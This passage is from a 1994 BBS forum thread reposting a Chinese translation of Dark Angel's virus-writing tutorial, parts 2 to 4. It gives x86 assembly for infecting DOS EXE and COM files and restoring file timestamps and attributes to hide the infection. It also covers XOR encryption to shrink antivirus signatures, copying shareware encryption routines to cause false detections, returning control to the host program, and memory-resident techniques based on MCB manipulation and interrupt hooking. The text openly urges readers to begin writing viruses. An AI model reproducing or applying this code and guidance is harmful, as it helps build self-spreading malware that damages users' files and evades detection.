  入程式中的關鍵。
      在你感染檔案之前,你要先把在 EXE 檔頭中找到的 CS:IP 和 SS:SP 儲存起來
  ,在執行時再還原。要注意的是,SS:SP 不是以 Intel reverse-double-word 的格
  式儲存的。如果你不知道我再說什麼,沒關係,那只是給吹毛求疵的人看的。你也要
  把檔案的長度儲存起來,因為待會做感染時會用到好幾次。現在是計算一些 offset
  的時候。你可以用以下的程式碼來找新的 CS:IP 和 SS:SP 。它假設檔案的大小是存
  在 DX:AX 。
          mov     bx, word ptr [bp+ExeHead+8]    ; 檔頭大小的 para 數
               ;  ^--- 確定你不會把檔案代號毀掉
          mov     cl, 4                          ; 乘以 16 如果檔頭
          shl     bx, cl                         ; 大於 4096 bytes 時
                                                 ; 無法使用  喔
          sub     ax, bx                         ; 把檔頭從檔案大小中
          sbb     dx, 0                          ; 減掉
    ; 現在 DX:AX 放著檔案大小減檔頭大小的結果
          mov     cx, 10h                        ; DX:AX/CX = AX 除 DX 的餘數
          div     cx
      這段程式碼比較沒有效率,先除以 16 再減掉 AX 會比較簡單。但是這正好是我
  選的,這就是人生。然而這段程式碼還是有比那個有效率的方法好的地方。這樣做你
  可以確定 IP (放在 DX 中) 會小於 15 ,這樣堆疊就可以和 entry point 放在同一
  個 segment 中,因為堆疊指標通常都很大。
      現在 AX*16+DX 指向程式的結尾,如果病毒是緊接在程式尾端之後,則 AX 和
  DX 可以各自當作起始的 CS 和 IP 。但是如果病毒在 entry point 之前有些東西
  (程式碼或資料),把 entry point 的差距加入 DX 中 (不必對 AX 做 ADC 因為 DX
  通常很小)。
          mov     word ptr [bp+ExeHead+14h], dx  ; IP Offset
          mov     word ptr [bp+ExeHead+16h], ax  ; CS 差距
      現在可以計算 SS 和 SP 了。 SS 等於 CS 。 SP 真正的值並不重要,只要它夠
  大不會使堆疊覆蓋掉程式碼即可 (記得:堆疊是向下增長的)。一般的規則是:SP 至
  少要比病毒的大小大 100 bytes ,這樣應該就足以避免麻煩了。
          mov     word ptr [bp+ExeHead+0Eh], ax     ; SS 的差距
          mov     word ptr [bp+ExeHead+10h], 0A000h ; SP 的起始處
      現在剩下來的就是要改變檔頭裡的檔案大小。把你原先保留下來的原始檔案大小
  還原到 DX:AX 處。要計算 DX:AX/512 和 DX:AX MOD 512 可以用下列的方法:
          mov     cl, 9                           ; 再次使用移位
          ror     dx, cl                          ; 來分隔
          push    ax                              ; AX 還會用到
          shr     ax, cl
          adc     dx, ax                          ; DX 放 pages
          pop     ax
          and     ah, 1                           ; AX MOD 512
          mov     word ptr [bp+ExeHead+4], dx     ; 修改檔頭中
          mov     word ptr [bp+ExeHead+2], ax     ; 的檔案大小
      接著剩下的是把 EXE 的檔頭寫回去並把病毒附加到檔尾。你要程式碼?你得到
  程式碼了:
          mov     ah, 3fh                         ; BX 放檔案代號
          mov     cx, 18h                         ; 不需要用到整個檔頭
          lea     dx, [bp+ExeHead]
          int     21h
          call    infectexe
          mov     ax, 4200h                       ; 倒回檔頭
          xor     cx, cx
          xor     dx, dx
          int     21h
          mov     ah, 40h                         ; 把檔頭寫回去
          mov     cx, 18h
          lea     dx, [bp+ExeHead]
          int     21h
          mov     ax, 4202h                       ; 跳到檔尾
          xor     cx, cx
          xor     dx, dx
          int     21h
          mov     ah, 40h                         ; 注意:只需要把病毒的第二
          mov     cx, part2size                   ;       部份寫回去 (病毒的
          lea     dx, [bp+offset part2start]      ;       各部份定義在上一份
          int     21h                             ;       文件中)
      注意,單獨使用這段程式碼並不足以完成 COM 或 EXE 的感染動作,你還需要把
  控制權移交回原程式的程式碼。完成這個動作所需的資料會放在下一份文件中。在這
  段時間中,你可以試著自己找出解決的辦法,要記得要還原所有你有改變的地方。
-------------------------
  第五步 -- 掩蓋你的行跡
-------------------------
      這個步驟很容易完成,也因此容易被忽略。但是這非常的重要,一個小心的使用
  者會因為任何對檔案不必要的更動而察覺到病毒的存在。最簡單的模式是把檔案的屬
  性、時間和日期還原,以下的方法可以完成這項工作:
          mov     ax, 5701h                      ; 設定檔案時間/日期
          mov     dx, word ptr [bp+f_date]       ; DX = 日期
          mov     cx, word ptr [bp+f_time]       ; CX = 時間
          int     21h
          mov     ah, 3eh                        ; 關檔
          int     21h
          mov     ax, 4301h                      ; 設定檔案屬性
          lea     dx, [bp+offset DTA + 1Eh]      ; 檔名還在 DTA 中
          xor     ch, ch
          mov     cl, byte ptr [bp+f_attrib]     ; 屬性放在 CX
          int     21h
      如果在病毒執行時目錄有變過,記得把目錄換回原來的目錄下。
------------
  接下來呢?
------------
      我很高興上一份文件獲得大家一致好評,下一次我會把病毒的其他部份介紹完畢
  並且介紹一些對病毒寫作很有幫助的祕技。

TOP

- [10] TTL-病毒討論區 (89:100/1) ----------------------------------- TTL-VIRUS -
信件 : 33 of 35                            Uns Loc                             
發信人: Andy Kao                            89:100/1        Thu 01 Sep 94 19:52
收信人: All                                                                     
標  題: 病毒寫作教學(3)                                                         
--------------------------------------------------------------------------------
                 Dark Angel  病毒寫作指南〔3〕
---------------------------------
   第三期 : 非常駐病毒 第二部份
---------------------------------
      歡迎收看病毒寫作指南第三集。在上一份文件中,我解釋了病毒最主要的部份:
  複製部份。為了實踐我的諾言,我現在要解釋非常駐病毒的其他部份,並附上一些些
  程式碼。把這些和上一份文件中的程式碼結合起來,任何人都可以寫隻簡單的病毒。
  另外,我也會解說一些讓你的病毒更完美的簡單技巧和祕密。
----------
  隱藏部份
---------
      隱藏部份是病毒作者用來預防病毒被偵測出來的防禦。最常用的 encryption/
  decryption 函示是 XOR,因為 encryption 和 decryption 都可以用它完成。
  encrypt_val   dw   ?   ; 要放在 decrypted 區域中的某處
  decrypt:
  encrypt:
       mov dx, word ptr [bp+encrypt_val]
       mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
       lea si, [bp+part_to_encrypt_start]
       mov di, si
  xor_loop:
       lodsw
       xor ax, dx
       stosw
       loop xor_loop
      上面的函示用 XOR 在記憶體中對程式碼做 encrypt 和 decrypt。這跟第一份文
  件中的函式本質是一樣的,不同的只是這次是 encrypt words 而不是 bytes。因此
  它有 65535 種變化,而不是 255 種,並且它也快了兩倍。雖然這個函式簡單易懂,
  但是它太大了而幾乎可以當做掃毒的識別字串了。以下是個較好的方法:
  encrypt_val   dw    ?
  decrypt:
  encrypt:
       mov dx, word ptr [bp+encrypt_val]
       lea bx, [bp+part_to_encrypt_start]
       mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2
  xor_loop:
       xor word ptr [bx], dx
       add bx, 2
       loop xor_loop
      雖然這段程式碼精簡多了,但還可以變得更簡短。最好的方法是在感染的時候把
  要 encryption 的值放到 BX 和 CX:
  decrypt:
  encrypt:
       mov bx, 0FFFFh
       mov cx, 0FFFFh
  xor_loop:
       xor word ptr [bx], 0FFFFh
       add bx, 2
       loop xor_loop
      那些以 0FFFFh 表示的值在感染的時候都要視當時情形改變。例如:要把
  encryption 函式寫入感染的檔案中時,BX 的值必需是 part_to_encrypt_start 相對
  於被感染檔的開頭之差距值。
      上面這段程式碼的最大好處是識別字串的長度很小。識別字串必須是一保持不變
  的部份,而在此例中,只有 3、4 個連續的 bytes 會保持不變。因為整個 encryption
  只有十來 bytes 而已,識別字串的大小是非常小的。
      雖然明白了 encryption 函式的功能,但是可能對起始的 encrption 值和之後
  其值的計算還不明瞭。大部分 XOR encryption 的起始值是 0,你應該在感染的過程
  中改變其值,一般是取隨機的 encryption 值。取得亂數最簡單的辦法是利用內部時
  鐘。以下的例子可以容易的取得亂數:
          mov     ah, 2Ch                         ; 給我個亂數
          int     21h
          mov     word ptr [bp+encrypt_val], dx   ; 也可以用 CX
      有些 encryption 函式並不單純的使用 0 做起始值。例如,看看 Whale 的例子
  。它使用上一個字元的值當 encryption 值。在這種情況下,執行病毒的時候只要用
  個 JMP 指令跳過 decryption 的函式即可,但是要確定 JMP 跳到正確的位址!例如
  說,你可能會寫個這樣的病毒:
          org     100h
  start:
          jmp     past_encryption
  ; 你的 encryption 函式放在這裡
  past_encryption:
      encryption 函式是整個病毒中唯一不能 encryption 的部份。經由程式碼搬移
  的技術可以輕易的把感染部份搬到 heap (在檔案結尾到堆疊間的記憶體) 之中,你
  只需要用到一些 MOVSW 和一個 JMP 指令即可。首先要把 encryption 函式拷過去,
  然後是寫入,接著是 decryption,然後是個 RETurn 以回到程式中。例如:
       lea si, [bp+encryption_routine]
       lea di, [bp+heap]
       mov cx, encryption_routine_size
       push si
       push cx
       rep movsb
       lea si, [bp+writing_routine]
       mov cx, writing_routine_size
       rep movsb
       pop cx
       pop si
       rep movsb
       mov al, 0C3h                             ; 一個 near return
       stosb
       call [bp+heap]
      雖然大部分的病毒為了簡單的緣故,使用同樣的函式來做 encryption 和
  decryption,但是上面的例子顯示這完全不需要。你只需要稍微修改一下上面的程式
  碼即可獲得一個獨立的 decryption 函式。你只需要去掉那些 PUSH 並把 POP 改成
  適當的 LEA si 和 MOV cx 即可。
      獨創的 encryptino 函式雖然有趣但不一定是最好的,"偷"來的 encryption 函
  式才是最好的,特別是從 encrypt 過的 shareware 程式中偷來的。看一看 shareware
  程式中的 encryption,你可以把它拷到你的病毒裡使用。很有可能防毒軟體的作者
  使用的識別字串會把那個 shareware 的產品判斷成被你的病毒所感染,因為兩者的
  encryption 是相同的。
      注意,這並不是個對隱藏部份的完整論述,我可能會寫份文件單獨討論
  encryption 和 decryption 的技術。這只是所有可能的 encryption 技術中最簡單
  的,其實還有更多可用的隱藏技術,不過對於初學者而言已經夠用了。
----------
  傳送部份
----------
      傳送部份是病毒中把控制權交還給原被感染程式的部份。當然,EXE 和 COM 的
  傳送部份是不一樣的。
      在 COM 檔中,你必須把被你的病毒覆寫掉的那幾 bytes 復原,並把控制權交回
  CS:100h 處,那是所有 COM 開始載入的地方。
  RestoreCOM:
       mov di, 100h                     ; 我們要寫到開頭處
       lea si, [bp+savebuffer]          ; 我們從 buffer 中取出資料
       push di                          ; 把 RETurn 要用的 offset 存起來
       movsw                            ; 比 mov cx, 3, movsb 更有效率
       movsb                            ; 視你的需要而變
       retn                             ; 也可以用 JMP
      EXE 檔只需要還原 SS、SP 和 CS、IP。
  ExeReturn:
          mov     ax, es                           ; 從 PSP 區段開始
          add     ax, 10h                          ; 跳過 PSP
          add     word ptr cs:[bp+ExeWhereToJump+2], ax
          cli
          add     ax, word ptr cs:[bp+StackSave+2] ; 還原堆疊
          mov     ss, ax
          mov     sp, word ptr cs:[bp+StackSave]
          sti
          db      0eah                             ; JMP FAR PTR SEG:OFF
  ExeWhereToJump:
          dd      0
  StackSave:
          dd      0
  ExeWhereToJump2 dd 0
  StackSave2      dd 0
      在感染的時候,要把起始的 CS:IP 和 SS:SP 分別保存在 ExeWhereToJump2 和
  StackSave2。然後在還原程式前,要把它們般移到 ExeWhereToJump 和 StackSave
  ,這個動作可以輕易的用些 MOVSW 來完成。
      有些人喜歡在 JMP/RET 之前先把所有的暫存器清除,也就是他們用一堆 XOR
  指令來完成。如果你高興而想浪費一些空間的話,你可以這麼做。但是在大部分的例
  子中,這是不必要的。
----------
  發作部份
----------
      當病毒發作的時候,一個粗俗的電腦使用者心理想到什麼?當電腦突然發出納粹
  的聲調時,對一個沒預期到的犧牲者是多麼恐怖?在一瞬間失去數千個工作小時的成
  果是多麼的可怕啊!
      事實上,我並不贊成病毒破壞資料和磁碟,這是毫無目的而且缺乏想像的。例如
  說世界聞名的米開郎基羅病毒只是隨機從記憶體中把資料覆寫到磁碟機中,多原始啊
  !當然,如果你熱心於破壞的話,盡情的破壞所有你想破壞的東西吧!但是要記得,
  這一部份通常是病毒中唯一會被 "end-users" 看到而拿來和其他病毒區別的部份。
  到目前為止最好的例子有:Ambulance Car, Cascade, Ping Pong, 和 Zero Hunt。
      如你所見,這一部份並沒有附原始碼。因為所有的發作部份應該是原創的,所以
  實在沒有必要在這裡列出程式碼來。當然,有些病毒沒有發作部份可以討論,一般而
  言,只有小於 500 bytes 的病毒會沒有發作部份。除了大小的考量外,一個沒有發
  作部份的病毒實在沒有什麼益處。
-----------
  MEA CULPA
-----------
      我必須很遺憾的告訴你,我在上一份文件中提出的 EXE 之感染部份並不完美。
  我承認。我犯了很大比例的錯誤,檔案大小和檔案大小 mod 512 的計算部份是錯的
  。以下是正確的版本:
  ; DX:AX 放的是新的檔案大小
          push    ax                          ; 儲存檔案的低字組部份
          mov     cl, 9                       ; 2^9 = 512
          shr     ax, cl                      ; / 512
          ror     dx, cl                      ; / 512
          stc                                 ; 查閱對 EXE 檔頭的解說
                                              ; 以了解為何要在 DIV 512
          adc     dx, ax                      ; 的部份加 1
          pop     ax                          ; 取回檔案大小的低字組部份
          and     ah, 1                       ; MOD 512
      這是把檔案大小除 512 加 1 的結果放在 DX 而把檔案大小 MOD 512 的結果放
  在 AX。其他部份就保持不變。用 Microsoft 的 LINK.EXE 測試你的 EXE 感染函式
  ,除非你的感染部份寫得很完美,否則是無法執行的。
------------
  祕密和技巧
------------
      現在非常駐病毒的各部份都講解完了,而我發現我還有好幾 K 要填滿,所以我
  提出一些簡單技術,讓你加入你的病毒之中,以增進你的病毒的效能。
  一. 使用 heap
      heap 是介於程式結尾和堆疊頂端間的記憶體,病毒可以很方便的把它拿來當資
   料區。藉者把變數般移到 heap 中,病毒就不用在程式中保留變數的位置,如此可
   以縮小病毒的大小。要注意的是,因為 heap 不是病毒的部份,所以 heap 只能用
   來放暫時性的變數,也就是說,感染函式不能把 heap 當作是病毒的一部份因為這
   不是它使用的目的。有兩種方法來使用 heap :
       ; 第一種方法
       EndOfVirus:
       Variable1 equ $
       Variable2 equ Variable1 + LengthOfVariable1
       Variable3 equ Variable2 + LengthOfVariable2
       Variable4 equ Variable3 + LengthOfVariable3
       ; 第一種方法的例子:
       EndOfVirus:
       StartingDirectory = $
       TemporaryDTA      = StartingDirectory + 64
       FileSize          = TemporaryDTA + 42
       Flag              = FileSize + 4
       ; 第二種方法:
       EndOfVirus:
       Variable1 db LengthOfVariable1 dup (?)
       Variable2 db LengthOfVariable2 dup (?)
       Variable3 db LengthOfVariable3 dup (?)
       Variable4 db LengthOfVariable4 dup (?)
       ; 第二種方法的例子:
       EndOfVirus:
       StartingDirectory db 64 dup (?)
       TemporaryDTA      db 42 dup (?)
       FileSize          dd ?
       Flag              db ?
      這兩種方法只有些微的不同。使用第一種方法時,你製造出一個大小正好是病毒
  大小的檔案 (包括起始程式碼)。然而,要使用變數的時候,必須使用 BYTE PTR、
  WORD PTR、DWORD PTR 等來指定大小,不然組譯器會搞不清楚。另外,如果這些變數
  因為某些原因需要重新排列,整條 EQU 鍊會被破壞而需要重建。使用第二種方法的
  病毒不需要指定大小,但是製造出來的檔案會比病毒真正的大小還大。通常這不構成
  問題,只要是在檢查是否重複感染的時候,病毒可能會重複感染原始的檔案。這並不
  是個大缺點,尤其是想想這個方法所帶來的益處。
      不管使用哪個方法, 使用 heap 可以大大的縮小病毒的大小,而使病毒更有效
  率。唯一要注意的事情是,當感染一個很大的 COM 檔時,heap 可能會落在同一區段
  offset 0 的地方,因而破壞了 PSP。然而,這個問題很容易避免。在檢查一個 COM
  會不會太大而無法感染時,只要把暫時變數區的大小加到病毒大小中去檢查即可。
  二. 使用程序 (procedure)
      使用程序有助於縮減病毒的大小,這是我們所希望達成的目標。我們只使用能縮
  減大小的程序。你可以用下面的公式來計算使用某個函式能節省多少 bytes :
       設 PS = 程序的 bytes 數
       省下的 bytes 數 = (PS - 4) * 使用程序的次數 - PS
      例如說關閉檔案的程序:
       close_file:
         mov ah, 3eh      ; 2 bytes
         int 21h          ; 2 bytes
         ret              ; 1 byte
                          ; PS = 2+2+1 = 5
      只有當它被使用六次以上才有價值 ( 因為 (5-4)*6 - 5 = 1 ),大大的節省 1
  bytes!但是沒有哪個病毒會在六個不同的地方有關閉檔案的動作,所以關閉檔案的
  程序是沒有用而應該避免的。
      另外就是要盡可能的把你的程序設計得可變通些。這是為什麼 Bulgarian 的程
  式總是如此的精簡。看看 Creeping Death 的原始碼,例如說它的移動檔案指標的程
  序:
       go_eof:
         mov al, 2
       move_fp:
         xor dx, dx
       go_somewhere:
         xor cx, cx
         mov ah, 42h
         int 21h
         ret
      這個函數非常的有彈性。如果是呼叫 go_eof,這個程序會把檔案指標移到檔尾
  。如果是把 AL 設為 0 而呼叫 mov_fp,則會重設檔案指標。如果設定好 DX 和 AL
  後再呼叫 go_somewhere,則可以把檔案指標移到檔案裡的任何地方。如果這個函數
  常常被使用到,節省下來的空間將非常可觀。
  三. 使用好的組譯器和除錯器
      到目前為止,我用過最好的組譯器是 Turbo Assembler,它可以快速的組譯出精
  簡的程式來。使用 /m2 參數可以清除程式中所有佔空間的 NOP。這個益處是顯而易
  見的:較快且較小的程式碼。
      最好的除錯器也是 Borland 做的,真是研發工具之王。Turbo Debugger 有如此
  多的功能,或許你會想買一份以便能閱讀它的使用手冊。它可以輕易跳離許多除錯陷
  阱,用來測試再理想不過了!除此之外,這個除錯器還有 286 和 386 的特殊保護模
  式版本,都比它的真實模式版本更具威力。
  四. 不要用 MOV 取代 LEA
      在寫你的第一隻病毒時,你可能常常會忘記在載入 offset 時應該用 LEA 而不
  是 MOV。這是個初次寫病毒者常犯的嚴重錯誤。你可以馬上發現這樣的錯誤的傷害。
  如果你的病毒不能作用,檢查是否有這個 bug。這種 bug 幾乎和 C 中的
  NULL pointer 錯誤一樣難抓出來。
-----------
  現在.....
-----------
      你現在有所有寫隻會繁殖的病毒所需之程式碼和資料,也有許多技術可以使用。
  所以現在停止閱讀並開始著手寫作吧!想要變好的唯一方法就是經由練習。經過兩三
  次的嘗試後,你應該就可以好好的寫出一隻病毒了!

TOP

- [10] TTL-病毒討論區 (89:100/1) ----------------------------------- TTL-VIRUS -
信件 : 34 of 35                            Uns Loc                             
發信人: Andy Kao                            89:100/1        Thu 01 Sep 94 19:52
收信人: All                                                                     
標  題: 病毒寫作教學(4)                                                         
--------------------------------------------------------------------------------
                 Dark Angel  病毒寫作指南 [4]
                    ---------------------------
                     第四期  常駐病毒 第一部份
                    ---------------------------
      現在有關非常駐病毒的部份已經全部解說完畢,接著要進入常駐病毒的部份。這
  份文件將介紹這類病毒背後的原理,而不會附上程式碼。只要掌握了這類知識,你可
  以大膽的寫隻常駐式病毒而有自信不會表現的太差。
------
  中斷
------
      DOS 很仁慈的提供我們一種很有威力的方法來加強它自身,叫做記憶體常駐程式
  。記憶體常駐程式可以用來擴展並修改原來正規的 DOS 函數。要了解記憶體常駐程
  式是如何運作的,我們必須探究一下中斷向量表。中斷向量表位於記憶體中
  0000:0000 到 0000:0040 (或 0040:0000) 的位址,位於 BIOS 資訊區的正下方。它
  包含 256 個 double words,每一個代表一對 segmentffset。當你用 INT 指令發
  出一個中斷呼叫時,會依序發生兩件事:
      1) 旗號 (flag) 會被推入堆疊中
      2) 對位於中斷向量表中的 segmentffset 發出一個遠程呼叫 (far call)
      要從中斷中返回則要使用 IRET 指令。IRET 動作的順序正好和 INT 指令相反,
  它會先做個 POPF 再做個 RETF。如果中斷函式會從旗號暫存器傳值回來的話,這樣
  的呼叫/返回程序會有很有趣的效應。這種中斷函式必須直接修改堆疊裡的旗號暫存
  器之值而不是只是直接修改暫存器之值而已。
      處理器會從中斷向量表中找尋要呼叫的位址。例如說,呼叫 21h 中斷時,處理
  器會在中斷向量表中尋找 21h 中斷函式的位址。這個指標的 segment 是 0000h 而
  offset 是 21h*4,即 84h。換句話說,中斷向量表簡單的說就是一串 256 個指向中
  斷函式的指標,涵蓋範圍從中斷 0 到中斷 255。要找出某個中斷函式的位址只要取
  得segment 0,offset 中斷號碼*4 處之 double word 即可。中斷向量表是以標準的
  Intel reverse double word 格式儲存的,即先放 offset 接著才放 segment。
      如果程式想要 "抓住" 某一中斷,也就是說想要重導某向量,它必須去更改中斷
  向量表裡的資料。你可以直接修改向量表或呼叫適當的 DOS 函式來達成。如果程式
  直接去修改向量表,這部份程式碼必須放在一對 CLI/STI 裡面,因為若處理器在向
  量表修改到一半時發出個中斷將會有非常悲慘的結果。一般而言,直接修改是較佳的
  方式,因為一些像 FluShot+ 之類的程式會監看 INT 21h 用來設定向量表的呼叫,
  如果發現有 "未登記" 的程式想修改它,會發出警告。
      所謂中斷函式就是一段在中斷被呼叫時執行的程式碼。中斷的要求可以由程式發
  出也可能從處理器發出。INT 21h 就是前者的一個例子,而 INT 8h 則是後者的一個
  例子。BIOS 提供中斷函式的一部份,而其餘部份則由 DOS 和其他程式提供。一般而
  言,BIOS 提供的中斷從 0h 到 1Fh,DOS 提供 20h 到 2Fh,其他則供程式使用。
      當程式想載入它自己的程式碼時,有幾點必須考慮的。首先,它是取代或覆蓋原
  有的中斷函式嗎?也就是說,這個中斷函式是不是已經存在了?第二,程式是否要保
  留原來舊函式的功能?例如說,當程式想截取 BIOS 的時鐘計時中斷,無疑的會想要
  保留原有舊函式。忽略原舊函式的存在可能會導致悲慘的結果,特別是如果先前載入
  的程式截取了那個中斷。
      有個很多中斷函式使用的技巧叫 "鏈結"。經由鏈結,新舊兩個中斷函式都可以
  執行到。鏈結有兩個主要的方法:先執行和後執行。在先執行鏈結中,舊有的函式會
  在新的之前先執行。這是藉由一個假冒的 INT 呼叫,也就是由 PUSHF 接著一個
  CALL FAR,來達成。當舊函式終結後,控制權會回到新函式。先執行鏈結是在新函式
  需要用到舊函式的結果來決定進一步的動作時使用。後執行鏈結就比較直接,只用到
  一個 JMP FAR 指令。這個方法甚至不必在新函式裡加上 IRET 指令!當 JMP 執行時
  ,新的函式已經完成它的動作而把控制權轉交舊函式。這個方法主要是用在新函式希
  望在 DOS 或 BIOS 執行中斷之前先做處理時。
-----------------------
  簡介 DOS 之記憶體配置
-----------------------
      記憶體配置大概是 DOS 裡最困難的概念之一,無疑的是最難的技巧。困難之處
  在於缺乏 Microsoft 和 IBM 的正式文件。不幸的,DOS 記憶體管理的知識是寫常駐
  病毒決定性的要件。
      當程式向 DOS 要求更多記憶體時,作業系統會從未使用的記憶體裡切下一片記
  憶體。雖然這個概念非常簡單易懂,但是為了寫常駐病毒所需的知識,必須更深入的
  探究。DOS 會利用記憶體控制區塊 (MCB) 來幫助它記錄管理記憶體。MCB 是記憶體
  中一塊 paragraph 大小的區塊。當程式需要記憶體時,會多配給它一 para 的記憶
  體給 MCB 使用。MCB 就位於它所控制的記憶體之前。MCB 和它控制的記憶體看起來
  像這樣:
    +---------+----------------------+
    |  MCB 1  |  MCB 1 控制的記憶體  |
    +---------+----------------------+
      當第二部份的記憶體被要求時,另一個 MCB 會被放在上次配置的記憶體之下,
  就像:
   +---------+------------+---------+------------+
   |  MCB 1  |  記憶體 1  |  MCB 2  |  記憶體 2  |
   +---------+------------+---------+------------+
      換句話說, MCB 是一個接一個堆著的。在解除 MCB 2 之前先解除 MCB 1 是很
  浪費的,因為這會在記憶體裡留下空洞。MCB 的結構如下:
   Offset   大小   意義
  -------- ------ ------
   0        BYTE   M 或 Z
   1        WORD   Process ID (區塊擁有者的 PSP)
   3        WORD   以 para 計算之大小
   5      3 BYTE   保留 (未使用)
   8      8 BYTE   DOS 4+ 使用
      如果 offset 0 那一 byte 是 M,代表這個 MCB 不是串連中的最後一個;如果
  是 Z 則代表是串連的結尾。記憶體中可以同時存在一個以上的 MCB 串連,病毒就是
  利用這個 "功能" 常駐於記憶體中的。Offset 1 處的 word 一般都和這個 MCB 擁有
  者的 PSP 相同。如果是 0,代表這塊是空白記憶體而可以由程式使用。如果是 0008
  則是代表這塊的主人是 DOS。Offset 3 處的大小並不包括 MCB 所佔用之記憶體,它
  就是傳回給 DOS 記憶體配置函式之值。在區塊大小之後的資料都沒有用,所以你可
  以忽略它們。
      當一個 COM 檔載入時,DOS 會把所有能用的記憶體全配置給它。當 EXE 檔載入
  時,則配置給它 EXE 檔檔頭所要求之記憶體。在檔頭裡有最大和最小記憶體之值,
  通常,連結器會把最大記憶體設為 FFFFh para。如果程式要求配置記憶體,它首先
  必須先縮小它所佔有的主記憶體成所需的最小值,否則配置記憶體的要求將不幸的失
  敗。
      因為程式通常無法直接修改 MCB,DOS 的記憶體配置函式 (48h - 4Ah) 都傳回
  並接受第一個可使用的記憶體 paragraph 值,也就是緊接在 MCB 之後的記憶體。在
  寫 MCB 修改程式時記住這一點是很重要的。
------------
  常駐的方法
------------
      常駐的方法有很多種,第一種是使用傳統的 DOS TSR 中斷函式,INT 27h 或
  INT 21h/ 31h 功能。寫病毒時最好不要用這些函式,因為在常駐之後,控制權不會
  回到程式手中。另外,它們會在 PMAP 或 MAPMEM 之類記憶體管理程式裡露出痕跡
  ,即使是個門外漢也會發現這種病毒的存在。
      傳統的病毒不是利用標準的 DOS 中斷,就是自己寫一個新的常駐函式。現在幾
  乎所有的病毒都是利用使用個函式來把自己 load high,也就是把自己載入最高的
  可用記憶體位址。例如說,在 640K 的系統裡,病毒會把它自己擺在緊接在 640K
  之下而在 DOS 保留給程式的記憶體之上。雖然技術上而言這並不是 high memory
  area,但是在這個檔案裡將會把它當作就是這樣。Load high 可經由一連串
  allocation 和 reallocation 的中斷呼叫來達成。一般的方法是:
      1. 找出記憶體大小。
      2. 把程式的記憶體縮小為 全部記憶體大小 - 病毒大小。
      3. 替病毒配置記憶體 (位於 high memory)。
      4. 把程式的 MCB 改為串連的結尾 (把它標示為 Z )。
      5. 把病毒拷到 high memory。
      6. 如果想要鏈結中斷則要把舊的中斷向量存起來。
      7. 把中斷向量改到 high memory 中之正確位置。
      當在計算記憶體大小的時候要記得所有的大小都是用 para 來表示的。MCB 也要
  考慮進去,它會用掉一 para 的記憶體。這個方法的好處是他不會在記憶體檢視程式
  留下痕跡。但是用 CHKDSK 之類程式顯示的總記憶體數會變少。
      第三種方法是根本不配置。有些病毒會把自己拷到 640K 之下的記憶體,但不配
  置這塊記憶體。這樣可能會有大悲劇發生,因為任何 DOS 載入的程式都有可能會用
  到這塊記憶體。如果它被破壞了,將會發生無法預料的結果。雖然用 CHKDSK 看不出
  記憶體有變少的現象,但是這個方法引發無法預測的結果之可能性是無法接受的。有
  些病毒則使用已知會空下來的記憶體,像中斷向量表的頂端、video ram 的某部份之
  類比較不會被用到的記憶體。這個方法因為非常的不穩定最好也不要用。
      這些技術並不是常駐的唯一方法,我看過以怪異的方法常駐在 DOS 的內部磁碟
  buffer 之中的病毒。Where there's a memory, there's way。
      通常我們都會想知道我們的病毒是否已經常駐了,最簡單的方法就是在我們的
  中斷處理函式裡加上個檢驗的功能。例如說,AX 放 7823h 來呼叫 21h 中斷可能會
  從 AX 傳回 4323h,用來檢驗是否常駐。使用這個檢驗法的時候必須確定不會和其
  他程式或 DOS 本身起衝突。另一種方法是種很浪費時間和程式碼的方法,就是檢查
  記憶體中的每一個 segment 是否有代表病毒存在之程式碼。這個方法也是不適用的
  ,因為寫個中斷函式檢驗比這個方法簡單太多太多了。經由任何一種檢驗,病毒可
  以不用怕會常駐兩次而浪費記憶體。
------------
  為何要常駐
------------
      常駐病毒比起執行型病毒有下列明顯優點:
    o 大小
      常駐病毒通常都比執行型病毒來得小,因為它們不需要有搜尋檔案來感染得程
      式碼。
    o 效率
      它們通常都比較暴力,因為甚至連 DIR 這個指令都可以 "感染"。一般而言,
      標準的技術是感染在病毒常駐時所有執行過的檔案。
    o 速度
      執行型病毒在檔案執行之前做感染的動作。寫得不好或一個很大的執行型病毒
      會在執行之前造成引起使用者注意的延遲。另一方面,它所引起的額外的磁碟
      動作也會傷害到病毒的壽命。
    o 祕密
      藉由修改中斷可以提供隱藏的技巧,像在 DIR 時可以隱瞞檔案大小的改變,如
      此一般的使用者將難以發現病毒的存在。一些靈巧的病毒甚至可以瞞過 CRC 檢
      驗,因而消滅另一種防毒技巧。
----------------
  常駐病毒的結構
----------------
      有了以上的初步資訊,現在我們可以把討論轉向跟病毒更有關係,也更有趣的
  主題上了。常駐病毒的結構和執行型病毒的結構有很大的不同。它只用個簡短的片
  段來檢驗病毒是否已經在記憶體中。如果病毒還沒進駐記憶體裡,則病毒經由任一
  種方法把自己載入記憶體中。最後這個片段再把控制權交回給宿主程式。常駐病毒
  的其他部份則是做主要工作的中斷處理函式。
      這個片段是病毒裡唯一需要計算差距 offset 的部份。中斷函式會理想的位於
  不需要如此計算的位置。只要載入後應該就不再需要用到差距 offset,因為變數的
  位址都已經預設好了。因為常駐病毒碼必須從記憶體區塊 offset 0 處開始,所以
  原始碼也要從 offset 0 開始。在原始的病毒程式裡不要用 JMP 跳到病毒碼。當要
  把病毒碼搬到記憶體裡的時候,只要從 [bp+startvirus] 開始即可,而其 offset
  在原始碼裡就要算出來了。這樣可以簡化 (並縮短) 中斷函式的程式碼。
      寫病毒的中斷函式時必須考慮許多事情。第一,病毒必須保存暫存器。如果病
  毒使用先執行鏈結,必須把舊中斷呼叫後之暫存器之值存起來;如果用後執行鏈結
  ,則要在呼叫舊中斷函式之前先還原原來的暫存器的值。第二,常駐病毒比較難使
  用 encryption,但是也不是不可能。主要的問題是如果中斷函式 encrypt 過,則
  在 decrypt 之前無法使用這個中斷函式。這是個非常大的問題。比較下等的簡單方
  法就是不要用 encrypt,我比較喜歡這個下等方法。比較不下等的讀者可能會在記
  憶體裡同時兩份病毒,把不用的那一份 encrypt 起來,並把這份當作寫入用。當然
  ,這樣病毒就會在記憶體裡佔原來的兩倍記憶體。要不要用 encrypt 全看個人決定
  。就像以前提到的,旗號暫存器是從堆疊裡還原的。在先執行鏈結裡把新的旗號暫
  存器之值存回原堆疊裡的舊旗號上是很重要的。
      寫中斷函式時,特別是 BIOS 中斷,另一項必須考慮的重要因素是 DOS 的
  re-entrance。這表示你不能在一個 DOS 中斷執行之中再執行另一個 DOS 函式。這
  是因為每次 DOS 被呼叫時它的堆疊指標的設定都相同,如果呼叫第二個 DOS 中斷
